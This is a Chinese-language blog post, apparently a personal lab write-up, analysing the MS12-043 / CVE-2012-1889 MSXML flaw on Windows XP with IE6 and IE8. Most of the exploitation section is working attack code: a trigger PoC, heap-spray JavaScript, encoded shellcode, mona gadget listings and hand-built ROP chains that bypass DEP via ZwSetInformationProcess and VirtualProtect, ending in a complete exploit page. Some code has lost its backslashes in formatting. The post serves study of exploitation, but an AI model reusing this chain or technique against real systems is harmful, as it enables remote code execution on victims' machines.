MS12-043漏洞分析+手写ROP全流程
这是个练习写ROP的好例子
漏洞介绍
软件简介
Microsoft XML Core Services (MSXML)是一组服务,可用JScript、VBScript、Microsoft开发工具编写的应用构建基于XML的Windows-native应用。
漏洞成因
Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。
该漏洞产生于msxml3.dll模块中,msxml3.dll是微软的一个SAX2 帮助程序类。主要用途包括:XSL 转换 (XSLT) 和 XML 路径语言 (XPath) 的完全实现、对 XML (SAX2) 实现的简单 API 的修改,包括与万维网联合会 (W3C) 标准和 OASIS 测试套件保持更高一致性。
实验环境
• 虚拟机:Windows XP SP3
• 虚拟机:Kali Linux
• 漏洞程序:IE6 + IE8
• IDA + x86dbg + immdbg mona插件
漏洞复现
kali的msf里查找MS12-043,看有没有现成的利用:
刚好有一个,设置payload:set payload windows/exec,set CMD calc.exe,run
启动了一个本地HTTP Server,这个服务器应该就是提供poc页面了:
使用Windows XP SP3自带的IE6打开,直接弹出计算器:
复现成功,该环境的IE6存在该漏洞,接下来对漏洞样本进行分析
前置基础知识简介
ROP
面向返回编程ROP(Return-oriented programming):这是一种内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行等)。ROP的核心思想就是利用以ret结尾的指令序列把栈中的应该返回EIP的地址更改成我们需要的值,从而控制程序的执行流程。
DEP
数据执行保护DEP(Data Execution Protection):用来弥补计算机对数据和代码混淆这一缺陷,主要作用是阻止数据页(堆页,各种堆栈页,内存池页)执行代码,从Windows XP SP2开始支持
DEP的基本原理是将数据所在内存页表示为不可执行页,当程序溢出转入shellcode时,CPU在数据页上执行指令抛出异常,转入异常处理而不进入shellcode执行,当跳转到不可执行区域时,会触发异常0xC0000005(内存页就类似于这种权限PAGE_READWRITE)
HeapSpray
HeapSpray 是一种辅助技术,在shellcode前面加上大量滑板指令,组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。
漏洞分析
漏洞触发POC:
<
html
>
<
head
>
<
title
>
CVE 2012-1889 PoC
</
title
>
</
head
>
<
body
>
//"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"是MSXML3.dll中使用到的ID
<
object
classid
=
"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"
id
=
'poc'
>
</
object
>
<
script
>
var
obj =
document
.getElementById(
'poc'
).object;
//获取obj对象,类id为"msxml3",对象id为"poc"
var
src =
unescape
(
"%u0c0c%u0c0c"
);
//0c0c
while
(src.length <
0x1002
) src += src;
//循环拼接路径
src =
"\\xxx"
+ src;
//拼接路径
src = src.substr(
0
,
0x1000
-
10
);
//截断最后10字符
var
pic =
document
.createElement(
"img"
);
//创建图片元素pic
pic.src = src;
//图片元素pic的路径赋值,路径是0xFF6字节的0c0c0c0c,将会溢出栈空间
pic.nameProp;
obj.definition(
0
);
//定义并初始化一个空的对象
</
script
>
</
body
>
</
html
>
通过看POC代码可知,这里漏洞的触发是因为解析img标签src属性处理src的值的时候处理不当导致溢出从而产生漏洞
反汇编里往上追溯溢出值的来源,没太明白是怎么回事
具体参考 [原创] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com
感觉现阶段还不足以弄明白是怎么一回事,本次主要就当练习写rop了
保存poc为html文件,通过实验环境的IE6打开,程序奔溃,x86dbg接管调试:
在程序异常处发现这里eax的值已经被我们输入的值给覆盖了,也就是说,eax的值可控,来自于栈中,并且之后会从eax里取出地址,然后赋值给ecx,然后call [ecx+0x18],拿到控制权
为了方便测试,在物理机编辑HTML,开启一个http服务器给虚拟机访问:
python -m http.server 8080
这里的一个思路就是通过堆喷覆盖高位地址0x0c0c0c0c,然后触发漏洞,构造内容使得能通过下面那个call得到控制权,这里使用上次分析CVE-2010-2883时候见到的堆喷代码,改一改shellcode:
var
shellcode =
unescape
(
'%u0c0c%u0c0c'
+
// mov ecx, [eax]
'%u4141%u4141'
+
'%u4141%u4141'
+
'%u4141%u4141'
+
'%u4141%u4141'
+
'%u4141%u4141'
+
'%uaaaa%uaaaa'
// [ecx+0x18]
);
var
var_C =
unescape
(
"%"
+
"u"
+
"0"
+
"c"
+
"0"
+
"c"
+
"%u"
+
"0"
+
"c"
+
"0"
+
"c"
);
while
(var_C.length +
20
+
8
<
65536
) var_C+=var_C;
var_D = var_C.substring(
0
, (
0x0c0c
-0x24
)/
2
);
var_D += shellcode;
// 拼接shellcode
var_D += var_C;
// 拼接滑块代码
var_E = var_D.substring(
0
,
65536
/
2
);
while
(var_E.length <
0x80000
) var_E += var_E;
var_H = var_E.substring(
0
,
0x80000
- (
0x1020
-0x08
) /
2
);
// 7F7F4
var
var_F =
new
Array
();
for
(var_G=
0
;var_G<
0x1f0
;var_G++) var_F[var_G]=var_H+
"s"
;
这个代码就是申请将近1M大小的数组成员的数组,通过堆喷将shellcode精准填充到0x0c0c0c0c位置上,访问链接测试:
可以看到,0x0c0c0c0c已经覆盖了我们编写的shellcode,这里call会跳转到0xAAAAAAAA这个地址上:
到此已经成功拿到控制权了,只要合理构造shellcode即可完成利用,接下来进行ROP的构造
漏洞利用:XP+IE6
ROP的意义在于绕过保护执行shellcode,Windows XP + IE 6环境下默认没有DEP保护,所以可以直接去堆中执行代码
这里需要使用js写shellcode,这里去网上(参考资料[4])白嫖了一个shellcodeC语言转JS语言的代码:
int
main
(
int
argc,
char
* argv[])
{
//mergeSort(a, 0, 5);
unsigned
char
buf[] = {
"xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0C"
"x8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53"
"x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8B"
"x49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95"
"xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59"
"x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3A"
"xC4x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75"
"xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03"
"x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDB"
"x53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50"
"x53xFFx57xFCx53xFFx57xF8"
};
int
i =
0
;
int
n =
sizeof
(buf) -
1
;
if
(n &
1
) n--;
FILE* fp = fopen(
"shellocde.txt"
,
"w"
);
for
(i =
0
; i < n; i +=
2
)
{
fprintf
(fp,
"\u%02X%02X"
, buf[i +
1
], buf[i]);
}
n =
sizeof
(buf) -
1
;
if
(n &
1
)
{
fprintf
(fp,
"\u%02X%02X"
,
0
, buf[i]);
}
fclose(fp);
return
0
;
}
这里自带的shellcode是0day里面那个failwest的MessageBox,这里也就用这个吧
构造shellcode:
var
shellcode =
unescape
(
'%u0bf8%u0c0c'
+
// mov ecx, [eax] 0x0c0c0bf8
'%u0c14%u0c0c'
// [ecx+0x18]
);
shellcode+=
"u68FCu0A6Au1E38u6368uD189u684Fu7432u0C91uF48Bu7E8Du33F4uB7DBu2B04u66E3u33BBu5332u7568u6573u5472uD233u8B64u305Au4B8Bu8B0Cu1C49u098Bu698BuAD08u6A3Du380Au751Eu9505u57FFu95F8u8B60u3C45u4C8Bu7805uCD03u598Bu0320u33DDu47FFu348Bu03BBu99F5uBE0Fu3A06u74C4uC108u07CAuD003uEB46u3BF1u2454u751Cu8BE4u2459uDD03u8B66u7B3Cu598Bu031Cu03DDuBB2Cu5F95u57ABu3D61u0A6Au1E38uA975uDB33u6853u6577u7473u6668u6961u8B6Cu53C4u5050uFF53uFC57uFF53uF857"
;
测试:
shellcode成功执行,完成利用
漏洞利用:XP+IE8(1)
本节内容采用ZwSetInformationProcess的方法绕过DEP,写完ROP之后发现还是运行不了,经过搜索得知,IE8调用过该API,该API只有第一次调用有效,所以本节纯属踩坑,可跳过本节“绕过DEP部分”看下一节用其他方法绕过DEP
Windows XP + IE8 开启了DEP,且堆堆喷做出了限制,直接用字符串赋值的方式会被禁止,js代码会执行失败,再次访问这个poc地址,异常后调试会发现0x0c0c0c0c这个地址没有申请出来,不存在
所以需要修改堆喷的代码,将原来的:
for
(var_G=
0
;var_G<
0x1f
0;var_G++) var_F[var_G]=var_H+
"s"
;
修改为:
for
(var_G=
0
;var_G<
0x1f
0;var_G++) var_F[var_G]=var_H.substr(
0
,var_H.length)+
"s"
;
再次访问刚刚的poc地址:
触发DEP数据执行保护,点击调试进去:
EIP寄存器指向了我们的弹窗shellcode,且此处发生0xC00000005执行访问违例的异常,这也说明了是DEP的影响,导致这里无法执行
所以需要想个办法来绕过DEP保护来执行shellcode,根据之前学习DEP的经验,可以通过跳转到ZwSetInformationProcess函数将进程的DEP关闭后再转入shellcode执行
一个进程的DEP设置的标识保存在_KEPROCESS中的_KEXECUTE_OPTIONS上,可通过ZwSetInformationProcess进行修改,该结构体声明:
//0x1 bytes (sizeof)
struct
_
KEXECUTE_OPTIONS
{
UCHAR ExecuteDisable:
1
;
//0x0 DEP开启时,设置为1
UCHAR ExecuteEnable:
1
;
//0x0 DEP关闭时,设置为1
UCHAR DisableThunkEmulation:
1
;
//0x0 兼容ATL程序用的
UCHAR Permanent:
1
;
//0x0 设置1后,这些标志不能再修改
UCHAR ExecuteDispatchEnable:
1
;
//0x0
UCHAR ImageDispatchEnable:
1
;
//0x0
UCHAR Spare:
2
;
//0x0
};
影响DEP的是前两位,只要设置该结构体的值为0x02即可关闭DEP
设置函数ZwSetInformationProcess:
NTSYSCALLAPI
NTSTATUS
NTAPI ZwSetInformationProcess (
_In_
HANDLE ProcessHandle, // 进程句柄,设置为-1时表示当前进程
_In_
PROCESSINFOCLASS ProcessInformationClass, // 信息类
_In_
PVOID ProcessInformation, // 设置_KEXECUTE_OPTIONS
_In_
ULONG ProcessInformationLength // 第三个参数的长度
根据参考资料[6],可知,关闭DEP需要的参数依次是:-1,0x22,0x2,0x4
当一个进程的Permanent位没有设置,加载DLL时,会对DLL进行DEP兼容性检查,如果存在兼容性问题则会关闭DEP,有一个函数LdrpCheckNXCompatibility内部进行兼容性判断,判断兼容性有问题,就会调用ZwSetInformationProcess函数:(使用windbg查看该程序)
0
:
000> uf ntdll!LdrpCheckNXCompatibility
:
7c93cd11
8bff mov edi,edi
7c93cd13
55 push ebp
7c93cd14
8bec mov ebp,esp
7c93cd16
51 push ecx
7c93cd17
8365fc00 and dword ptr [ebp-4],0
7c93cd1b
56 push esi
7c93cd1c
ff7508 push dword ptr [ebp+8]
7c93cd1f
e887ffffff call ntdll!LdrpCheckSafeDiscDll (7c93ccab);检查是否是SafeDiskDll
7c93cd24
3c01 cmp al,1 ; al和1对比,如果检查成功,al会返回1,所以这里要设置为1
7c93cd26
6a02 push 2
7c93cd28
5e pop esi ; 给esi设置为2
7c93cd29
0f84df290200 je ntdll!LdrpCheckNXCompatibility+0x1a (7c95f70e) ; 跳转(见末尾)
:
7c93cd2f
837dfc00 cmp dword ptr [ebp-4],0 ; ebp-4和0对比,判断ebp-4是不是2,如果是2,就会跳转到DEP关闭的流程
7c93cd33
0f85f89a0100 jne ntdll!LdrpCheckNXCompatibility+0x4d (7c956831); 不相同则跳转,这里会跳转(见下面)
...
:
7c93cd6d
5e pop esi
7c93cd6e
c9 leave
7c93cd6f
c20400 ret 4 ; 返回 ret 4
:
7c956831
6a04 push 4 ; 4
7c956833
8d45fc lea eax,[ebp-4]
7c956836
50 push eax ; 2
7c956837
6a22 push 22h ; 0x22
7c956839
6aff push 0FFFFFFFFh ; -1
7c95683b
e84074fdff call ntdll!ZwSetInformationProcess (7c92dc80);刚好是关闭DEP的参数,跳转到这里把DEP关闭了
7c956840
e92865feff jmp ntdll!LdrpCheckNXCompatibility+0x5c (7c93cd6d); 往回跳转(见上面)
:
7c95f70e
8975fc mov dword ptr [ebp-4],esi ; 把esi赋值给[ebp-4]
7c95f711
e919d6fdff jmp ntdll!LdrpCheckNXCompatibility+0x1d (7c93cd2f); 跳转回去
这里可以直接跳转到这个判断处(0x7c93cd24),提前把al设置成1,走al=1的逻辑,这就是关闭DEP的流程
现在要做的事情流程已经很清楚了,就是:
1. 切换ebp到0x0c0c0c0c,控制堆栈
2. 给al赋值为1
3. 跳转到0x7c93cd24处关闭DEP
4. 跳转到shellcode执行
使用msf自带的工具msfpescan协助找跳板
踩坑
这里IE8打开链接的时候会创建子进程,然而每次加载msxml3.dll的基址还不一样,导致这里调试出现了困难,这里需要找一个其他基址不变的模块来寻找跳板
这里由于创建了子进程,直接触发崩溃实时调试器接管不到崩溃前的状态,所以没法从断点一点一点往下看执行和栈,使用x86dbg插件dbgchild也没法在进入rop之前断下来
这里的解决方案是,直接就让他进入后面的异常处理部分,然后修改EIP指针回到漏洞的触发点来跟进shellcode的编写:
因为进入rop之后,包括堆栈和寄存器都是我们自己构造的,所以这里直接修改eip为触发漏洞前的地址,和eax=0x0c0c0c0c,这两个值都是触发漏洞的时候必然等于的,这样来进行调试是没问题的
或者可以把IE8卸载了,装回IE6,再上面写完绕过DEP的ROP再装回IE8测试,这里采用的是先用IE6来写
构造ROP-拿到控制权
首先需要修改栈顶esp到我们构造的内存里头
想找一个pop xxx;pop esp;ret的指令,找了半天没找到
找到了pop esp;ret指令,但是call过去会有返回地址入栈,也没法修复esp
经过一个下午的搜索尝试,发现还有这个指令可用:xchg eax,esp;ret,可以把eax里的0x0c0c0c0c交换给esp,然而还是不行,因为交换过去之后,esp里存放的一定不是能操作的返回地址
mona搜索xchg eax,esp;ret:
Log data, item 21
Address=75C7BC70
Message= 0x75c7bc70 : "x94xc3" | {PAGE_EXECUTE_READ} [urlmon.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5512 (C:WINDOWSsystem32urlmon.dll)
再次观察一下这段代码:
整理一下当前的信息:
1. shellcode中可控内容从0x0c0c0c0c开始,且0x0c0c0c0c之前的内存的值均为0x0c0c0c0c
2. eax的值是我们可以操纵的
3. esi的值来自eax
4. ecx的值来自[eax]
5. 第一个call使用的是[ecx+0x18]的值,也就是说[[eax]+0x18]这个地址是第一个call的地址,此时交换esp会导致无法跳转卡住,直接使用ret可以跳过
6. 第一个call之后会赋值eax = [esi],如果[esi]和esi不相同的话,[esi]是一个保存指令的地址,那么xchg之后ret就可以使用了
7. 第二个call使用的是[eax+8]
综上,可以得出,给eax填充0x0c0c0c08,该地址的值为0x0c0c0c0c,不会影响第一个call所在的0x0c0c0c24,然后在第一个call之后,会给eax赋值0x0c0c0c0c,相比第一个call直接使用xchg,0x0c0c0c0c的值是可修改的了,因为使用了0x0c0c0c08来作为基址计算第一个call的地址,这时再进行xchg就可以拿到控制流了
构造shellcode:
var
shellcode =
"u4141u4242"
+
// esp
"u9090u9090"
+
//
"ubc70u75c7"
+
// call [ecx+0x18] ret
"u9090u9090u9090u9090u9090u9090"
+
// fill
"ubc71u75c7"
// xchg eax,esp;ret
;
测试:
此时esp已经是可控的了,接下来就方便构造返回地址了
构造ROP绕过DEP
接下来需要给al赋值1,mov al,1;ret,使用immdbg的mona插件进行搜索:
>!mona find -s
"xB0x01xc3"
-m
"kernel32.dll"
...
Log data, item
14
Address=
7
C80C190
Message=
0x7c80c190
:
"xB0x01xc3"
| {PAGE_EXECUTE_READ} [kernel32.dll] ASLR:
False
, Rebase:
False
, SafeSEH:
True
, OS:
True
, v5
.1
.2600
.5512
(C:WINDOWSsystem32kernel32.dll)
然后接下来就是跳转去0x7c93cd24关闭DEP了:
构造shellcode:
var
shellcode =
"uc190u7c80"
+
// mov al,1 ret
"ucd24u7c93"
+
// Close DEP 0x7c93cd24
"ubc70u75c7"
+
// call [ecx+0x18] ret
"u9090u9090u9090u9090u9090u9090"
+
"ubc71u75c7"
// xchg eax,esp;ret
;
测试调试:
不行,出问题了,这里leave指令会把ebp给esp,这里还需要先修复一下ebp才行
找一个push esp; pop ebp; ret指令
Log data, item
19
Address=
75
CC97D8
Message=
0x75cc97d8
:
"x54x5dxc2"
| {PAGE_EXECUTE_READ} [urlmon.dll] ASLR:
False
, Rebase:
False
, SafeSEH:
True
, OS:
True
, v6
.00
.2900
.5512
(C:WINDOWSsystem32urlmon.dll)
Log data, item
3
Address=
76
FE67B0
Message=
0x76fe67b0
:
"x54x5dxc2x08"
| {PAGE_EXECUTE_READ} [CLBCATQ.DLL] ASLR:
False
, Rebase:
False
, SafeSEH:
True
, OS:
True
, v2001
.12
.4414
.700
(C:WINDOWSsystem32CLBCATQ.DLL)
修复完ebp,然后给al赋值
1
,关闭DEP,构造shellcode:
var
shellcode =
"u97d8u75cc"
+
// repire ebp push esp pop ebp ret 4 0x75CC97D8
"uc190u7c80"
+
// mov al,1 ret
"ubc70u75c7"
+
// call [ecx+0x18] ret
"ucd24u7c93"
+
// CLOSE DEP
"u9090u9090"
+
"u9090u9090"
+
"ubc71u75c7"
// xchg eax,esp;ret
;
调试:
可见,调用完成之后,esp位置原有内容被覆盖了,到这里又卡住了,这里ebp在esp上面,导致最后交换ebp和esp的时候,esp的位置靠上,而非靠下,靠下的地址我们好控制,靠上的0x0c0c0c14是没法再控制的,所以需要给ebp一个合适的可控的位置,从而能控制返回地址:
pop ebp,ret:
Log data, item
22
Address=
75
C61CD6
Message=
0x75c61cd6
:
"x5dxc3"
| {PAGE_EXECUTE_READ} [urlmon.dll] ASLR:
False
, Rebase:
False
, SafeSEH:
True
, OS:
True
, v6
.00
.2900
.5512
(C:WINDOWSsystem32urlmon.dll)
这里给ebp一个紧挨着ROP的地方,shellcode构造:
var
shellcode =
"u67b0u76fe"
+
// repire ebp push esp pop ebp ret 8 0x76fe67b0
"uc190u7c80"
+
// mov al,1 ret
"ubc70u75c7"
+
// xchg esp, eax ret
"u9090u9090"
+
"u1cd6u75c6"
+
// pop ebp ret 0x75C61CD6
"u0c28u0c0c"
+
// ebp value
"ubc71u75c7"
+
// call [ecx+0x18] ret
"ucd24u7c93"
+
// CLOSE DEP
"u0c30u0c0c"
// shellcode address
;
这里给ebp的地址就是这个地址就是ebp下面一点的位置:
然后接下来跳转到ret里:
接下来紧接着就是关掉DEP的跳转,执行到最后:esp的位置会是ebp+4的地方,也就是0x0c0c0c2C:
往这里填写shellcode的地址就可以直接跳转去执行了,go:
IE6成功通过修改DEP的ROP弹窗,接下来换IE8
IE6的利用移植IE8
更新了IE8之后发现还是不能运行,点开调试发现有些IE6上的地址在IE8上不能用
注意:找滑板指令一定要找系统自带的那种,软件的dll可能会更新,然后地址就变了
接下来搜索相应的功能指令地址替换回去即可
替换xchg esp,eax;ret为kernel32.dll中的地址
Log data, item 18
Address=7C830E49
Message= 0x7c830e49 : "x94xc3" | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:WINDOWSsystem32kernel32.dll)
替换pop ebp;ret:
Log data, item 5
Address=77BEBB7C
Message= 0x77bebb7c : "x5dxc3" | {PAGE_EXECUTE_READ} [msvcrt.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v7.0.2600.5512 (C:WINDOWSsystem32msvcrt.dll)
结论
失败了,经过一番搜索(参考资料[8])得知,这个函数只有第一次调用的时候有效,IE8调用过这个函数,所以这个函数再次调用就无效了,所以用这种方法绕过IE8的DEP失败,接下来使用下一种方法绕DEP
今天就到这里(从早上10点肝到晚上10点告诉我就这???),明天继续,明天看我半天肝出来!
漏洞利用:WindowsXP+IE8(2)
下一个绕过DEP的方法:使用VirtualProtect绕过DEP
函数声明:
BOOL VirtualProtect(
[in] LPVOID lpAddress, // 地址
[in] SIZE_T dwSize, // 大小
[in] DWORD flNewProtect, // 保护属性,可执行是0x40
[out] PDWORD lpflOldProtect // 保存旧的保护属性,需要一个可写的地址即可
);
使用windbg查看:
0:000> uf VirtualProtect
kernel32!VirtualProtect:
7c801ad4 8bff mov edi,edi
7c801ad6 55 push ebp
7c801ad7 8bec mov ebp,esp
7c801ad9 ff7514 push dword ptr [ebp+14h] ;旧的属性
7c801adc ff7510 push dword ptr [ebp+10h] ;修改属性
7c801adf ff750c push dword ptr [ebp+0Ch] ;修改大小
7c801ae2 ff7508 push dword ptr [ebp+8] ;修改地址
7c801ae5 6aff push 0FFFFFFFFh ;当前进程
7c801ae7 e875ffffff call kernel32!VirtualProtectEx (7c801a61)
7c801aec 5d pop ebp
7c801aed c21000 ret 10h
只需要在栈里准备好参数之后跳转到0x7c801ad9进行调用即可
刚刚拿到控制流的shellcode:
var
shellcode =
"u4141u4242"
+
// esp
"u9090u9090"
+
"ubc70u75c7"
+
// call [ecx+0x18] ret
"u9090u9090"
+
"u9090u9090"
+
"u9090u9090"
+
// fill
"ubc71u75c7"
// xchg eax,esp;ret
;
接下来要做的事情:
1. 把esp放到安全的地方
2. 修复ebp
3. 调用函数
4. 跳转至shellcode执行
还是拿刚刚找到的跳板:
地址 |
指令 |
0x77BEBB7C |
pop ebp ret |
0x770F17A3 |
ret 8 |
0x7c830e49 |
xchg esp, eax |
构造shellcode如下:
var
shellcode =
"u17a3u770f"
+
// ret 8 770F17A3
"ubb7cu77be"
+
// pop ebp ret 0x77BEBB7C
"u0e49u7c83"
+
// xchg eax,esp;ret 0x7C830E4a
"u9090u9090"
+
"u0c20u0c0c"
+
// ebp value
"u1ad9u7c80"
+
// VirtualProtect 0x7c801ad9
"u0e4au7c83"
+
// call [ecx+0x18] ret 0x7C830E49
// "u9090u9090"+ // 异常断程序用的,和上面那一行互换即可
"u0c38u0c0c"
+
// Param address
"u1000u0000"
+
// Param Size
"u0040u0000"
+
// Param Protect 0x40
"u0c0cu0c00"
// Old Protect
;
首先一个ret 8,跳转到pop ebp ret的同时在栈中跳过xchg esp,ear ret指令的地址
弹出为ebp构造的值,该值位置保存有VirtualProtect需要的参数:
这里参数里的最后一个入栈的就是shellcode首地址了
执行完成之后
直接跳转到shellcode里进行执行,一气呵成,效果展示:
完整利用代码:
vul-analysis-study/MS12-043 at main · kn0sky/vul-analysis-study (github.com)
<
html
>
<
head
>
<
title
>
CVE 2012-1889 PoC
</
title
>
</
head
>
<
body
>
<
object
classid
=
"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"
id
=
'poc'
>
</
object
>
<
h1
>
66666
</
h1
>
asdasd
<
script
>
//"clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4"是MSXML3.dll中使用到的ID
var
shellcode =
"u17a3u770f"
+
// ret 8 770F17A3
"ubb7cu77be"
+
// pop ebp ret 0x77BEBB7C
"u0e49u7c83"
+
// xchg eax,esp;ret 0x7C830E4a
"u9090u9090"
+
"u0c20u0c0c"
+
// ebp value
"u1ad9u7c80"
+
// VirtualProtect 0x7c801ad9
"u0e4au7c83"
+
// call [ecx+0x18] ret 0x7C830E49
// "u9090u9090"+
"u0c38u0c0c"
+
// Param address
"u1000u0000"
+
// Param Size
"u0040u0000"
+
// Param Protect 0x40
"u0c0cu0c00"
// Old Protect
;
shellcode +=
"u68FCu0A6Au1E38u6368uD189u684Fu7432u0C91uF48Bu7E8Du33F4uB7DBu2B04u66E3u33BBu5332u7568u6573u5472uD233u8B64u305Au4B8Bu8B0Cu1C49u098Bu698BuAD08u6A3Du380Au751Eu9505u57FFu95F8u8B60u3C45u4C8Bu7805uCD03u598Bu0320u33DDu47FFu348Bu03BBu99F5uBE0Fu3A06u74C4uC108u07CAuD003uEB46u3BF1u2454u751Cu8BE4u2459uDD03u8B66u7B3Cu598Bu031Cu03DDuBB2Cu5F95u57ABu3D61u0A6Au1E38uA975uDB33u6853u6577u7473u6668u6961u8B6Cu53C4u5050uFF53uFC57uFF53uF857"
;
var
var_C =
unescape
(
"%"
+
"u"
+
"0"
+
"c"
+
"0"
+
"c"
+
"%u"
+
"0"
+
"c"
+
"0"
+
"c"
);
while
(var_C.length +
20
+
8
<
65536
) var_C += var_C;
var_D = var_C.substring(
0
, (
0x0c0c
-
0x24
) /
2
);
var_D += shellcode;
// 拼接shellcode
var_D += var_C;
// 拼接滑块代码
var_E = var_D.substring(
0
,
65536
/
2
);
while
(var_E.length <
0x80000
) var_E += var_E;
var_H = var_E.substring(
0
,
0x80000
- (
0x1020
-
0x08
) /
2
);
// 7F7F4
var
var_F =
new
Array
();
for
(var_G =
0
; var_G <
0x1f0
; var_G++) var_F[var_G] = var_H.substr(
0
, var_H.length) +
"s"
;
var
obj =
document
.getElementById(
'poc'
).object;
//获取obj对象,类id为"msxml3",对象id为"poc"
var
src =
unescape
(
"%u0c08%u0c0c"
);
//0c0c
while
(src.length <
0x1002
) src += src;
//循环拼接路径
src =
"\\xxx"
+ src;
//拼接路径
src = src.substr(
0
,
0x1000
-
10
);
//截断最后10字符
var
pic =
document
.createElement(
"img"
);
//创建图片元素pic
pic.src = src;
//图片元素pic的路径赋值,路径是0xFF6字节的0c0c0c0c,将会溢出栈空间
pic.nameProp;
obj.definition(
0
);
//定义并初始化一个空的对象
</
script
>
</
body
>
</
html
>
参考资料
• [1] [原创][分享]CVE-2012-1889(暴雷)漏洞分析报告-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-263702.htm)
• [2] Internet Explorer(CVE-2012-1889)暴雷漏洞分析报告【WinXP&IE6版】_capnik的博客-CSDN博客
(https://blog.csdn.net/capnik/article/details/58614449)
• [3] 【新提醒】暴雷漏洞 (CVE-2012-1889)个人漏洞分析报告 - 『软件调试区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn(https://www.52pojie.cn/thread-730324-1-1.html)
• [4] ShellCode转换为JavaScript支持的形式代码_蛋蛋的忧桑Y的博客-CSDN博客(https://blog.csdn.net/qq_22000459/article/details/75602013)
• [5] CVE-2012-1889(暴雷)漏洞分析_余大头的博客-CSDN博客(https://blog.csdn.net/datouyu0824/article/details/115040689)
• [6] 《0day安全》第二版.DEP保护机制相关内容
• [7] msfpescan用法_whatday的博客-CSDN博客(https://blog.csdn.net/whatday/article/details/82909485)
• [8] [求助]zwsetinformationprocess 关闭DEP失败-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-183175.htm)
• [9] [原创][分享] CVE-2012-1889 暴雷漏洞详细分析(偏向成因)-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com(https://bbs.pediy.com/thread-263717.htm)
红蓝二进制学习交流群:
如果添加不了了,请添加:
原文始发于微信公众号(Th0r安全):一文带你理解MS12-043原理
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论